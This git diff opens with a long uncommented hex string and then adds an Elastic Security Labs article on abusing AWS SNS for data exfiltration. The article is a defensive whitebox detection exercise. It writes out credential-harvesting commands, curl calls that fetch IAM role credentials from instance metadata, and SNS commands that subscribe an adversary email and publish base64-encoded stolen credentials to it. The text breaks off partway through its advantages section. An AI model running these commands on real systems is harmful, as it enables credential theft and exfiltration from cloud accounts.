21cb1f14383d1fd965ac04dff920e1513ac86efe76ee5ce2b0a6f5a08d96e3c3856a5b2bc812fad4c890468123aaafb48a1b2f1a2bb3027b84b1675b05761d185b3cf1aa7de9b0f9cfe40c4c66e9dfbe039c63cdf9f317728353ed9f1c3d83e83fb578cd294d17c59a1e6fb476ea62c966ed17a06785379c9cedcd6e69247ffedb68f08504c55ff36b8da7fa32a5b095851a96d6c90885c4b2cb776a5229b3d94d20c71a70a9dddc3ff2f604ea5ef1d194b9c525a073778b368d0dcb09b216f92ba45576b52b812b87421591b4d4af57fa62a7c7c8860f106081f8fee4351724675f87149eba7c05834fbd70259cfd0fc366c435d2e2d96184db3251f5dda8b200160498c7fa17f119a2c05e3ac346a4790e975744f4e95ad1b2c84cef5d17e21abfefb410bbee149a625b2b2c7cd5a5a2bcde4b68cfa3b3a4ac60ef3931b8579aa88ac45d3fa74162edc324a0933a3fd6243c01bb23e3ca40eb2a470b19206406a1fad2ec99ad8b7036249cdfb2442ecbd32c1bf71669b9d88021621a9aa0cd1195193dfb3c2fdb685c30e69c89eba263dc491a628a70637695c10367dcbeb4f913242af14b4795f47d1538c14afd9ad910111e24fb43204de1b896245c3fedcc308632c70dc7225f1a0c0476bf4993346cacb57bb34df0c915f2741b2db980c4b6f959221acd9594b83c2d3a07b08c03d8bf4c737442e208a20a69655be8aba21a0fe2765f1b009141507149b7ea69bfaa4359a070002f13f5c7277591a577c94c650f0cc531f849f70269689e4defa6534c475d86a68cfdd769bd469d084cd1d98bd1b307a56477f39c0658f39cf225a7a2cfaeb075e1266551f392dfb5c6b9b40f4ef629ba2981832d5736e982aaf1e81e8425451be74d941e7729a3cae12341eab4ba44144c042a58584b12aceeb7659bb5ff735d1b3b021e97bbdbebb7e09bb24f82cd2d61bfb843d5c965435b83025eac12fcb5aa31d66c4e1936f7a1f1499628a1e38c1306e00c9806decb06a2574e96851b1f0c3777a13c0fa3dca33999a1b24cd436e6044d2ebbf45df92e1a869a0b92e4fba63cd11562bb0e3e9fa817fd1fc295c1f20de3d748f2c7177717bd648db2aae6bd390c393bc6c45ed450c20c06170c529d135065540178d05252d1d00775e4731b08a6ebc38f4402e6eef903d7afa8c0d44003b27c1d7bba9a0e73347c04785524cb3d1bc107bd9390f36a6e2d03c5ad092533665b344de060dc12f6a3a8601f0b720dc111fcc6dfeff344245cac47bb4f26b17d923c1a93c4cc744deb6ed351f7f9e66346116a491154937db5315bd35ddc61679f1c8e84ccd6b60f4ffc2fb013970980a04d3526a9a6740476a773c5c1bc479f24d15519d04907984e8ad313d5313dd908981aa36e9ea9d3470001cb411985b6298d4f4704bc59f21457312c9d641816a01509de652fd7dd005834fa6070dfa249bbd497f292673cc64270527f0f4f8eaa9530a5c981c80e65dce7dbbc85d3b2b014eea8dead7e4399989bb7b5b0535094ed9e48e437ead8af67800c0dc4502198525776d7ed0360606547dfa09f5a00369aa9af4cd318b0c247c97d3446da595a5bf27b673cc70c04a43684f7745ac3e3800a3877bcfa60019878c49d6fb65f080f6303d809c0264a0fb32485e9ab5b7850b600fef33c7ea3b509c4ad57dcf617c5b02516ea39eb46de37d13f1ffe399886d9cbb6d9af81e690e1ecf0987c98b4f22a4c44b071d2f63102f3ee8b0ccec1f8299f7d668bf475bff7ab3e4a81c6e1361baaf8ae1a2f8d3fdbc86580a012a60ad21b517a7f0d9e104f64ac600cb89261023f5b60470ad1793228c939e351bc63f69a9253732d70afb84dba92119ebd45f60b39c674c01b41ed6cb1d473c7672f859eccb5d45e0b578a77c64c2f36f5a68002abea803b70fde3f27cd7864e86427ddf9e58816c6f6b4c97a7d3548b9431c6144967cdbfe6f790e6ef35e8e2fdcd48f7b3327f5e7647ccf7045e0fb304ce50904b22bf3d82a2c2b4a5683a33249d44f7ec413e5174639d70d4cfef762c4bfd7186e2e2c3cc479627b5da9b351d8440de71371cb514185fca7581eb0f5b142f55c0d2cc9da59800a2e039438afe1cd018b3565bd95efaf242421ca74555976a6c0ace921f86d731a73dbbbcbbf64c8d3f66907063f6f8c659824897d35a893e7f96d2e10d2fc54187eed363334453f360a316539882f1776b2d1666d56e83893ad50a9ba428f7ec1ff8e0490a67cc72cf802a27a11feb9de7239d66a3684da7114c1373244fba254f4bfc62943614f0538d132a6313c57001f81dd28139894e7720e78bdbf28f0472d87656e13d09433aff46c1ec9d16a22e2f1be9ba1170b60f02f727b51874a9381056fd4bc8d31c7078c1eff3b1c283dafa17d78b1100cf6ecc871eeb764383aaf00e20bdc1910ab6c321fe2320561800c1310e84cec2508eee4ba90967414d33b9bd66770f9903077ee1ad130fcf353beae5aa8eba51204cf90240bb65d1090754e9943a3121c85bbc703d8e8d5531d6b5d477aa6dc003c0dbb6e7d0c753d3c99bdee8f60d8c9997168e18e40d9224143bfc80c218df8739e11af70e7a530be42b66b8895454832bf07d8b197caa15630ec96db81b7b415912810a365329219bf52344f680f4b818a3f22c5738dd392f3721af726ca30534be5f8675639a5e8eb09043f865ac86de38e8c5ea09ded60354f6212b84c6131d2d1c577caa24d4a7669491c0c083bf8fd4297ec513662e953793062023395ab7c1c60ef417ea2ac39006f78cfaa5c5de750d5dd83bb239f4f8f52cf65494c0b0c22323b7d716214e142a54fcff58febefb4e0cfd2be58dcb052928b711cf02ed0a0745b27bc44f3b5965b591be6e7ef14c201f07dee65c5485a3d4b0a4c655f90b1ce573389e0b0a9778ebcc2f02973eb22fc814a0b4a80dfd355d8259efbf8d08d1f46c54e28b9afc7bd74a99dbbfeb93e44b0b64b6ef80c5753c5681e2fe2c628bb3da39e14c62468b709bfa3623cf029c210e84dbe637fb391071c48ecbfb6c7b771a6065b8917a50aef7bfe6d6f550212893bee848c9e63cdbda71a2f95ecb3c194115600681f798187aeed72f76b723a89fe99cfbe31a76a0cc77b0b053c26959a7bd6d5162c3d61912b1e5fc25f184b5bb2d95b59e66b2844155ca9992607774a1038dd4215c16917ac1a13bd13fed371be3c234eb8a76797e86b0ede6885bd51a53dbc5ac2099fc1abc39cfb974a954ddd929950eaaf2a76f4605e319b1632f51b956b31009e302efa614c59032b46d6bb58585b96ba1c7c3c96789dfcf4a1123a5124b18b71d0ca50567227a13bc7aa32697689881bfc5a055947e00baf61527a6f617baebe97c0ed714382e1de2cc3b03af9e735212382d580c6788209ea76b095b33127bbd6287e353ca8beee00806dcb72ad3f9da33fd951efe8721d6b57c563a083f1b8c5776e997a50feca2fee213e799ed8a3fee759813bdd561ef589fd93597a45e9056aa698be612266de4933fcccc43133918b321bc9849e067822ca563de8514d653e84037ec31ef0b6c34f38d7cd5b56e5c1dfa127312665ec7881a6ece162d608d3524be0b73755a01ec52d7a097c4627586218e99db7737ade55b3907e17d385552af6cedbe12d247edf724fb953b93249acb85cba9982f1d66acfdb97ec3a71c545678d99611d3603c4f445cb9675d4f2c10ad9270321bcb336e3831e515ce7c9f9f58bc3b120b6237c73e6561dd212c0831ef390259ea27e5df18905653fd9dc1854f8aac677bcbfea061481e966d39c6aaff2e2aa2516f3e291074dc03d80870eabb4c59565a69686395588e99c6c0b95d78a7a807c45f09ebdafe2e131047f7839af32e27cccc1c6c3f95045abde43f11d153a1ab06e2d5d841656e77992351d409f1a2d6cdbc9982f5db7cd617e4a7e45f5cfe2775257899a1f901828784d457ecbc04ca55805ba7379ad423a8e5b9247a42d1e3fc742739ce08a63ff93a883e95f1527decc161fc472402e9d20c07ad09cf68c4d8be5015bc83eb42ed7f2875d55494d2a8958c7f7bb556cd83f2d2b3a8a6e719f148412e0299f4d9bb82f60dd9a004d6ead1ab74d8f84724b66d9e402b61a51bb4d26f8778acc4dcfb0b71d4fb8d15445a636f60bff502bd85c25071014e77fa3da776f05473ad8ecc3111f478f51eedd342c89e781405c13c7ff436fad983d72addc489be26588b348ded9960eceaf656bdc5455352262b4ca6bb9fc313e88dfd618ad62203ecd8bff5fc1787e00d71222a42dc0ca08f9b2df05cdfff4439a802bddae1c601b2fb6e464d3e4288e06f7ec6034b613219e79ed162b3540eba3aa3dc91b651509371850180b207a34bb9178c853ad8f1e78794d3a57604873e24c8265873ebf00699f593d5f09c4d7f2c3b4a19fab5082a452107dc419571ac0898eb8cdb82634666499e01c28961f5d8330c03205785cb035eb6d233d750f0c0235d7b23d17006d0bab72068f864e956fb05b7b7cd8a1f5e50488a637625132f3c0f284a17d538cf122fb1bf0700e9cf7519745cb2b01a8c19fad80a86cb57169a93bf4878a02ddd0643fe09c78f90dad6fe4e96e95a34bae2d1b896245c3fedcc308632c70dc7225f19d6b25942f9f75b8cc3d8bd9f005f38506be6d555fdd7fdab20f6b9c5dd2a7cd03eef9200a1d703f24e81d885c95d5f40cfe5fa76a59a2ba1280561873eeb4fd28adcc9a4c2f902a9d31cffbafab3bba8e94bca99e5a699e28054a284ff0702afca5df1f01c3cd57ccb9ae7b08ce9eb726edc3c6a5557dac30c7164784604491a416297a0a620a0fc3f72cf4651104ed26dd9ae93e9411264b8d83e13b9382262769e547e8cecfebba56ba6e7a805ffa11902906644033858b444eb53725d96c6afa08a372cdc48851d723887afa838ab6cfd4fea30268836b83d37070a8e842c778e08c490b685646d32e8501be0eec4c50bf20b05ab935ef28a5ebcf59d69922a98a8773b41d92a8b41f3d642950196ae6fbc057ad22ba51377458e858d47ec395b0c5bf2e780f0228b675e9b5d12034b3722ecea2dbf726497cfa7680f834c6c033d50b447323056fa3bff16088743b5e8106b32f48d7e425ae5178ed66f9a1146ebe15d0e80c3bc825434112c9045ad996ef9184365f00577fa3856e651a210b2f47e79254ce5f94e920c32df51b53ca06d502156c5e24d3ee962e3709ee26883177d1802a0aeeb2ca2e487fd1594adc9e4180c437570aad42a385b71de78db0003ebdc38fc581e758c5a71f7a00f1da513aaf0e8567071f84d2eb0fd0cd015b3d96685aaf593724af2b12024a52102bfdce97b210941ca23fcdddc54383fc9ffdb9246679f78fcc2c91a809f212350ed4706577fc5bfdb3c392f2318a4113d9d565c6ddb60c57612af36a4ffe94bf504f88380caebae61621c34efa63f5e1b45bd1678b03dd51a5b0d5aeea99555be07ecb2df521c8be6d0fa00cac0cd7f263d4c96ef4303c2761f67a30d9fcbb4929b4c377216b8556fe71bcc1555dee312eceb0ca9dfaf77043b73e0ab9f6771c3dbc2371ecddef2d329e0cb83e2f2738b63b3e4a314a0c428bb551b45cd17532a46eaf7f9200148abf1bd63d560ed47723f2fa890e53234d438c1d2fb4e825d567ba202fa4319b80ea3294383a84986e5556c020fded7c04f8d37cf4c8008e5d8f991e21bf70390f6c9f94677b181a407a4aee04df3e363bb778875ea223f36574db9d4d1370eeec7e7a0d33ad0c34125ad637b4c15c6f995416dab9257407b130d3223583cd428e108cf2cc76ad7bb0b07b33ba916cb47bbd1c4584a41163ed5683b08330322c96177de43c707f66d89c1b5e968b3f4c1fcd2be333aceb79bb9a049fe305c19b70ca284c81b3d7cbeb67f41ac1b85913c3f7210fd66a4399dfaf22870b3144929852cd1dac868f614e65b5f06a1f67e072a2df3d0512f7ce2d5911076d2f21ede40e420dee64e1fcd3d43ece1c93816516b3280ab897e7205398671af48704e145ec7c0b8dff697409a540685ee040a652e47e4a8ed3c366f1f98a1eea4f75e59de9c989ebf6537f4e0754eeb63f292cc5e70cdbe6512065d4a4a29f1dcb52faa4ea71f03f75535dc24de242c539b239565f259bc585834697f65c817583540f199f120eec8d851a5f4c30d5ec21bb736f0ef647d98eeb8d4d142c1ead8c0037dfaabc6a12a8e8494420c6599324c6df04559a2f0e73986dc77294cffec210c9836410e3eb53fafae9a0953959e5bd0e4d7bedb6116ef5e99f0d5d8d03d9c424f3f0a52496062f576700e61639597bd32334dbca36155dc768e05f80b6f2a57578b972af9c6f175f7daa48910c7623eedd2fd5a8d9f4a796df40991d532f4857193e77f63dc8005d0acb95e16c69f55e49ee1249914f62686f2c7daeceda04b92185b037b2672c8778ba693c33ac6229a3ac66cfe02c54071427c2abc0a1d5e11606c4fc677c5786a810390ba75b949610e202aad2f58663dfeba26c8e06768c9d9d92218ab45c5349c9b7d3ba1a111d1facdcc6b8f5e34b80ece3197e03bd115cd3ea310dd689aa0b1e615b5dbf46d30aaef9d311692f2477c95b61f4087876f92108cec07974e50ede2f98e2093d6b516f835351587f298e8f4177aab8ae94652e103120f80f95721be5c1689b3f979c3e9d5818b4e757b248a1d7c6daa0ebaff193972909013e8d00fbe1ab222e2182650a26e4e96c82b52214c1729ddee5556275a5ac5a80610f0ea662365991c9d0569ed6b1f97c1145d6da56f48324bc08e32cd6a319d2fc10664c774672fc586f3ffd4778d531d73efb0e2972a379956a9eee600a75e60cd4cb61148d3ae1c2a64cb237fc62249ab952beb90f6f62d24c7894afb2696ebcc99867d055792b56455409303336aafcadaad6fb570c37a2d75bad98826ea22653a74f998e41ac212bca59233bff043559f369b6f83e378481122c4f0abd0074eb7897894ad42844e6f3d52d1ad2fa1a3be9ba4937c9c25b7e534bbc035e4fc3f0156e51b22ea01a228979eb92c9cac554f48f6e6182484c66a90fadeec2c050069a8891ac4ad2f62d895d731769450ead54824e298665d9db8ff206c0edb049272325d826e5dfea330d86799c10f8a7087f4668ff6af065c464aab7299e3d49c4d6a5f1bf2554e91000096a91614fb7783a16ec1ace29bf885ea657b9a9f1292151d92d316f4beada27e149a6a849003d17a6ec4089d362067fff379fc8a3e9c0f957e5262c0f2d65c4490f830c594527359c834be624972aa4fc45755fa8c1b7e1c49e57c7ce25cb709af58ede9a611bf49437c8a8fa213ab6c2ed9d8d480ab668745d6e17cd5b53c763d57330cb7c71010bdc433965779ca979bed088129bda5fb924dac4adf826463dc41e9e3438b0d9c57a9d369eaaccac39be1d79a0203c690c0b4d698f8b1728814f13f2a5f5d880a601613939b766c3a6b81eec815e82e2d2fc3d74fc2d360faac40cb54b3c36647acc3b042069d4944c7122d5ba78029443bbcd469333dc41e8845f53cac3936f3fe7f566d1423b6ec2395632501f68bb79f9e44d4ff07e247dc7b9f65e46f561650af13fd194e3d28904c8fe90ab6eb328c04770479f989ed6faad0985e1f0eaf1973d17b8cbc80f183276df75669865719c3faf254bb435a1917f1f3918f502b2960f5a70511295d182bdea8edca7438f07d78f33f5adce19c7e6fba6e1032b7d4f35d3f3ce211f76c839655c1db37618327f07438673363d65a5a0c8964a3fa1c2551e97ddd399c70236af1b95fb7311aead321173a64456008ed576be2a7bc116035635af060d638083206826e7903819dd572741291fd5025e991eeec0f43f6629f2dffbab62e6bfd00dd28bd6a82ad8ca9680e9f20ba96fc8086bf01820944884aaaf75bfe95aed2af257650291e7ac5cd97775669aecec8fdb72c56126b1e8cee7d4da7ce7ce03921a12d2f643c509950e22faaf7f2dc2b77baa218881f8ca91de487d2667f7c1b68121b57a4834860af5fc569ba5c9f307377ec5d341a1e3ca3bd9f4844dc83fc0a3790569e53416855d4cf2175a14b849b58a6018e40cc503d7b1baddb260fc7764236e1e5ffe8370d2a72fda2b48fa3e05210ffc3558cea3c41487ad60991aa297d10836679b240f553a18bdf1d4c95872eeeadc9a4f428a15248941e10811b26298077b86eb4c59a825992c639bb2243c2f9e5b329924ba2321c8c188ee5e76aa553cac0d32336fe67b65312ef3e90201968d5d3e3cc2b59d2f9e0afc8741364b67a68b3a46275d0c2a03680f848e5b779949ffac250d464b4c8a9fab4e2e67583562b1be788f24e7309282d7a7627f349742a1d1bc4f9f45ddf10a534be995e907430f5ded296dc803df541499c99d92b2bf157b3d7e2525c0895e68f9d1b7b05209f4a9c6e70ba3f0ba34b69e0e5fc7ffbac3827490b5d91dffe9cac1c7e61a8b35ec89eb5fba17d625b0523cfb44c2409158f02ac9fbace645c5c35a0437b22c0d7619766d2f421c32a152aadf13a9b28572e8feebd4dbff6ce153cefd026aa2738be360b9a23f432b7cf5cfd4227523ec1e6a680db903482dbc3103bbc1ab5227ce67d8e2fe14a5855318d0e8e41d471cc054ad961fe371e9fe6fccac2e0adb3da00c6763cbb0690b7d481c8607001463d8c09dee4692aad84f60177650bf4f66d62e5326cff592d392c39d7d7836bdca0cdbda9f6ad25ce3258673a5df662487f029c965f10bdfb0bd28f2deb5b5982c0426ab717f2f3219b52539668f4ce5f3d8ed4a322b1f75900a6c93d415645f44b9a1d13ebbc81273627af0d7c92f2f8f3db4666c4aa2c665caf17a7851edb6a0892b5405af47e50f1b2e5fb11721ecbdd9656f7a86f58be67fb18fa305e6a85fcf2aa019d0bb0b88ed6c8d2b548e72e84223483c37458090f0a78c41e9257b565d1f9d13f21b6a3637de53c9a3d73cbcb9f0d069e549ca837b9af756a298301ca73ae071f9acb328d2a92a3c0c03c488480e6bd0b4847123f6c04fd5d969aa7d0167e9b473e0394cb30246973298fa3f9e0461d1afb281ebefca29715a72877743c52d1df8f7a52e00510900243d3bc4bdbf982f0e2e2835b9e937238488baa6cf3a40b4ab0342ede5bf6bacbd40b39a \ No newline at end of file diff --git a/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/aws_sns_abuse.md b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/aws_sns_abuse.md new file mode 100644 index 0000000000000..829882029d46a --- /dev/null +++ b/x-pack/solutions/security/plugins/elastic_assistant/server/knowledge_base/security_labs/aws_sns_abuse.md @@ -0,0 +1,479 @@ +--- +title: "AWS SNS Abuse: Data Exfiltration and Phishing" +slug: "aws-sns-abuse" +subtitle: "Exploring how adversaries abuse AWS SNS services and detection capabilities" +date: "2025-03-13" +description: "During a recent internal collaboration, we dug into publicly known SNS abuse attempts and our knowledge of the data source to develop detection capabilities." +author: + - slug: terrance-dejesus +image: "Security Labs Images 7.jpg" +category: + - slug: security-research + - slug: security-operations +--- + +# Preamble + +Welcome to another installment of AWS detection engineering with Elastic. This article will dive into both how threat adversaries (TA) leverage AWS’ Simple Notification Service (SNS) and how to hunt for indicators of abuse using that data source. + +Expect to learn about potential techniques threat adversaries may exercise in regards to SNS. We will also explore security best practices, hardening roles and access, as well as how to craft threat detection logic for SNS abuse. + +This research was the result of a recent internal collaboration that required us to leverage SNS for data exfiltration during a whitebox exercise. During this collaboration, we became intrigued by how a simple publication and subscription (pub/sub) service could be abused by adversaries to achieve various actions on objectives. We dug into publicly known SNS abuse attempts and our knowledge of the data source to assemble this research about detection opportunities. + +Do enjoy! + +# Understanding AWS SNS + +Before we get started on the details, let’s discuss what AWS SNS is to have a basic foundational understanding. + +AWS SNS is a web service that allows users to send and receive notifications from the cloud. Think of it like a news feed service where a digital topic is created, those who are interested with updates subscribe via email, slack, etc. and when data is published to that topic, all subscribers are notified and receive it. This describes what is commonly referred to as a pub/sub service provided commonly by cloud service providers (CSP). In Azure, this is offered as [Web PubSub](https://azure.microsoft.com/en-us/products/web-pubsub), whereas GCP offers [Pub/Sub](https://cloud.google.com/pubsub#documentation). While the names of these services may slightly differ from platform to platform, the utility and purpose do not. + +SNS provides two workflows, [application-to-person](https://docs.aws.amazon.com/sns/latest/dg/sns-user-notifications.html) (A2P) , and [application-to-application](https://docs.aws.amazon.com/sns/latest/dg/sns-system-to-system-messaging.html) (A2A) that serve different purposes. A2P workflows focus more on integral operation with AWS services such as Firehose, Lambda, SQS and more. However, for this article we are going to focus our attention on A2P workflows. As shown in the diagram below, an SNS topic is commonly created, allowing subscribers to leverage SMS, email or push notifications for receiving messages. + +# ![](/assets/images/aws-sns-abuse/image5.png) + +# ![](/assets/images/aws-sns-abuse/image12.png) + +**Additional Features:** + +**Filter Policies:** Subscribers can define filtering rules to receive only a relevant subset of messages if they choose. These filter policies are defined in JSON format; specifying which attributes of a message the subscriber is interested in. SNS evaluates these policies server-side before delivery to determine which subscribers the messages should be sent to. + +**Encryption**: SNS leverages [server-side encryption](https://docs.aws.amazon.com/sns/latest/dg/sns-server-side-encryption.html) (SSE) using AWS Key Management Service (KMS) to secure messages at rest. When encryption is enabled, messages are encrypted before being stored in SNS and then decrypted upon delivery to the endpoint. This is of course important for maintaining the security of Personal Identifiable Information (PII) or other sensitive data such as account numbers. Not to fear, although SNS only encrypts at rest, other protocols (such as HTTPS) handle encryption in transit, making it end-to-end (E2E). + +**Delivery Retries and Dead Letter Queues (DLQs)**: SNS automatically retries message delivery to endpoints, such as SQS, Lambda, etc. in case of unexpected failures. However, messages that fail to deliver ultimately reside in [DLQs](https://docs.aws.amazon.com/sns/latest/dg/sns-dead-letter-queues.html), which is typically an AWS SQS queue enabling debugging for developers. + +**Scalability**: AWS SNS is designed to handle massive message volumes, automatically scaling to accommodate increasing traffic without manual intervention. There are no upfront provisioning requirements, and you pay only for what you use, making it cost-effective for most organizations. + +AWS SNS is a powerful tool for facilitating communication in cloud environments. For a deeper understanding, we recommend diving into the existing [documentation](https://docs.aws.amazon.com/sns/latest/dg/welcome.html) from AWS. However, its versatility and integration capabilities also make it susceptible to abuse. In the next section, we explore some scenarios where adversaries might leverage SNS for malicious purposes. + +# Whitebox Testing + +Whitebox testing involves performing atomic emulations of malicious behavior in a controlled environment, with full visibility into the vulnerable or misconfigured infrastructure and its configurations. This approach is commonly employed in cloud environments to validate detection capabilities during the development of threat detection rules or models targeting specific tactics, techniques, and procedures (TTPs).. Unlike endpoint environments, where adversary simulations often involve detonating malware binaries and tools, cloud-based TTPs typically exploit existing API-driven services through "living-off-the-cloud" techniques, making this approach essential for accurate analysis and detection. + +## Data Exfiltration via SNS + +Exfiltration via SNS starts with creating a topic that serves as a proxy for receiving stolen data and delivering it to the external media source, such as email or mobile. Adversaries would then subscribe that media source to the topic so that any data received is forwarded to them. After this is staged, it is only a matter of packaging data and publishing it to the SNS topic, which handles the distribution. This method allows adversaries to bypass traditional data protection mechanisms such as network ACLs, and exfiltrate information to unauthorized external destinations. + +**Example Workflow:** + +* Land on EC2 instance and perform discovery of sensitive data, stage it for later +* Leverage IMDSv2 and STS natively with the installed AWS CLI to get temporary creds +* Create a topic in SNS and attach an external email address as a subscriber +* Publish sensitive information to the topic, encoded in Base64 (or plaintext) +* The external email address receives the exfiltrated data + +![Visual workflow for data exfiltration via AWS SNS](/assets/images/aws-sns-abuse/image3.png) + +### Infrastructure Setup + +For the victim infrastructure, we’ll use our preferred infrastructure-as-code (IaC) framework, Terraform. + +A [public gist](https://gist.github.com/terrancedejesus/a01aa8f75f715e6baa726a21fcdf2289) has been created, containing all the necessary files to follow this example.. In summary, these Terraform configurations deploy an EC2 instance in AWS within a public subnet. The setup includes a [user-data script](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/user-data.html) that adds dummy credentials for sensitive data as environment variables, and installs the AWS CLI to emulate a compromised environment. Additionally, the EC2 instance is assigned an IAM role with permissions for `sns:Publish`, `sns:Subscribe` and `sns:CreateTopic`. + +There are several potential ways an adversary might gain initial access to this EC2 instance, including exploiting vulnerable web applications for web shell deployment, using stolen SSH credentials, password spraying or credential stuffing. Within this particular example scenario; let’s assume the attacker gained initial entry via a vulnerable web application, and subsequently uploaded a web shell. The next goal in this case would be persistence via credential access.. This is commonly seen [in-the-wild](https://www.wiz.io/blog/wiz-research-identifies-exploitation-in-the-wild-of-aviatrix-cve-2024-50603) when adversaries target popular 3rd-party software or web apps such as Oracle WebLogic, Apache Tomcat, Atlassian Confluence, Microsoft Exchange and much more. + +To get started, download the Terraform files from the gist. + +1. Adjust the variables in the `variables.tf` file to match your setup. + 1. Add your whitelisted IPv4 addressfor trusted_ip_cidr + 2. Add your local SSH key file path to public_key_path + 3. Ensure the ami_id.default is the correct AMI-ID for your region +2. Run `terraform init` in the folder to initialize the working directory. + +When ready, run `terraform apply` to deploy the infrastructure. + +A few reminders: + +* Terraform uses your AWS CLI default profile, so ensure you’re working with the correct profile in your AWS configuration. +* The provided AMI ID is specific to the `us-east-1` region. If you're deploying in a different region, update the AMI ID accordingly in the `variables.tf` file. +* Change `trusted_ip_cidr.default` in `variables.tf` from 0.0.0.0/0 (any IP) to your publicly known CIDR range. + +![](/assets/images/aws-sns-abuse/image2.png) + +*Terraform apply output* + +Let’s SSH into our EC2 instance to ensure that our sensitive credentials were created from the user-data script. Note in the `outputs.tf` file, we ensured that the SSH command would be generated for us based on the key path and public IP of our EC2 instance. + +![Bash command output for credential check](/assets/images/aws-sns-abuse/image10.png) + +With this infrastructure staged and confirmed, we can then move on to practical execution. + +### The Workflow in Practice: Exfiltrating Sensitive Credentials + +Let’s step through this workflow in practice, now that our infrastructure is established. As a reminder, the goal of our opportunistic adversary is to check for local credentials, grab what they can and stage the sensitive data locally. Since landing on this EC2 instance, we have identified the AWS CLI exists, and identified we have SNS permissions. Thus, we plan to create a SNS topic, register an external email as a subscriber and then exfiltrateour stolen credentials and other data as SNS messages. + +Note: While this example is extremely simple, the goal is to focus on SNS as a methodology for exfiltration. The exact circumstances and scenario will differ depending on the specific infrastructure setup of the victim. + +**Identify and Collect Credentials from Common Locations:** +Our adversary will target GitHub credentials files and .env files locally with some good ol’ fashioned Bash scripting. This will take the credentials from these files and drop them into the `/tmp` temporary folder, staging them for exfiltration. + +Command: cat /home/ubuntu/.github/credentials /home/ubuntu/project.env \> /tmp/stolen_creds.txt + +![](/assets/images/aws-sns-abuse/image11.png) + +**Stage Exfiltration Method by Creating SNS Topic** +Let’s leverage the existing AWS CLI to create the SNS topic. As a reminder, this EC2 instance assumes the custom IAM role we created and attached, which allows it to create SNS topics and publish messages. Since the AWS CLI is pre-installed on our EC2 instance, it will retrieve temporary credentials from IMDSv2 for the assumed role when invoked. However, if this were not the case, an adversary could retrieve credentials natively with the following bash code. + +``` +# Fetch the IMDSv2 token +TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600") + +# Get the IAM role name +ROLE_NAME=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/) + +# Fetch the temporary credentials +CREDENTIALS=$(curl -H "X-aws-ec2-metadata-token: $TOKEN" http://169.254.169.254/latest/meta-data/iam/security-credentials/$ROLE_NAME) + +# Extract the Access Key, Secret Key, and Token +AWS_ACCESS_KEY_ID=$(echo $CREDENTIALS | jq -r '.AccessKeyId') +AWS_SECRET_ACCESS_KEY=$(echo $CREDENTIALS | jq -r '.SecretAccessKey') +AWS_SESSION_TOKEN=$(echo $CREDENTIALS | jq -r '.Token') +``` + +Once this is complete, let’s attempt to create our SNS topic and the email address that will be used as our external receiver for the exfiltrated data. + +Create Topic Command: ```TOPIC_ARN=$(aws sns create-topic --name "whitebox-sns-topic" --query 'TopicArn' --output text)``` + +Subscribe Command: ```aws sns subscribe --topic-arn "$TOPIC_ARN" --protocol email --notification-endpoint "adversary@protonmail.com"``` + +As shown above after the commands are run, we can then navigate to the inbox of the external email address to confirm subscription. Once confirmed, our external email address will now receive any messages sent to the `whitebox-sns-topic topic` which we plan to use for exfiltration. + +![](/assets/images/aws-sns-abuse/image9.png) + +**Exfiltrate Data via SNS Publish** +At this point, we have gained access to an EC2 instance, snooped around to understand our environment, identified some services for abuse and some credentials that we want to obtain. Note that our previous steps could all have been accomplished via a simple Bash script that could be dropped on the compromised EC2 instance via our webshell, but this is broken down into individual steps for example purposes.. + +Next, we can take the data we stored in `/tmp/stolen_creds.txt`, base64 encode it and ship it to our adversary controlled email address via SNS. + +Commands: + +* Base64 encode contents: ```BASE64_CONTENT=$(base64 /tmp/stolen_creds.txt)``` +* Publish encoded credentials to our topic: ```aws sns publish --topic-arn "$TOPIC_ARN" --message "$BASE64_CONTENT" --subject "Encoded Credentials from EC2"``` + +![](/assets/images/aws-sns-abuse/image7.png) + +Once completed, we can simply check our inbox for these exfiltrated credentials. + +![](/assets/images/aws-sns-abuse/image1.png) + +Taking the payload from our message, we can decode it to see that it represents the credentials we found lying around on the EC2 instance. + +![](/assets/images/aws-sns-abuse/image6.png) + +As many adversaries may attempt to establish persistence or laterally move throughout the AWS environment and services, they would then be able to rely on this SNS topic to exfiltrate data for as long as permissions were in scope for the IAM user or role. Additionally, they could set up a recurring job that scans for data on this EC2 instance and continually exfiltrates anything interesting over time. There are many practical options in this scenario for additional chaining that could be done. + +**Before continuing, we encourage you to use the following command to destroy your infrastructure once logging out of the SSH connection**: ```terraform destroy --auto-approve``` + +### Challenges for Adversaries: + +Of course, there are many uncertaintiesin any whitebox testing that may prove as roadblocks or hurdles for a TA, both advanced and immature in knowledge, skills and abilities. It is also very dependent on the configuration and environment of the potential victim. Below are additional challenges that adversaries would face. + +**Initial Access**: Gaining initial access to the EC2 instance is often the biggest hurdle. This could involve exploiting a vulnerable web application or 3rd-party service, using stolen SSH credentials, password spraying or credential stuffing, or leveraging other means such as social engineering or phishing. Without initial access, the entire attack chain is infeasible. + +**Establishing an Active Session**: After gaining access, maintaining an active session can be difficult, especially if the environment includes robust endpoint protection or regular reboots that clear unauthorized activity. Adversaries may need to establish a persistent foothold using techniques like a webshell, reverse shell or an automated dropper script. + +**AWS CLI Installed on the Instance**: The presence of the AWS CLI on a public-facing EC2 instance is uncommon and not considered a best practice. Many secure environments avoid pre-installing the AWS CLI, forcing adversaries to bring their own tools or rely on less direct methods to interact with AWS services. + +**IAM Role Permissions**: The IAM role attached to the EC2 instance must include permissive policies for SNS actions (`sns:Publish`, `sns:Subscribe`, `sns:CreateTopic, sts:GetCallerIdentity`). Many environments restrict these permissions to prevent unauthorized use, and misconfigurations are often necessary for the attack to succeed. Best security practices such as principle-of-least-privilege (PoLP) would ensure the roles are set up with only necessary permissions. + +**Execution of Malicious Scripts**: Successfully executing a script or running commands without triggering alarms (e.g., CloudTrail, GuardDuty, EDR agents) is a challenge. Adversaries must ensure their activities blend into legitimate traffic or use obfuscation techniques to evade detection. + +### Advantages for Adversaries + +Of course, while there are challenges for the adversary with these techniques, let’s consider some crucial advantages that they may have as well. + +* **Blending In with Native AWS Services**: By leveraging AWS SNS for data exfiltration, the adversary's activity appears as legitimate usage of a native AWS flagship service. SNS is commonly used for notifications and data dissemination, making it less likely to raise immediate suspicion. 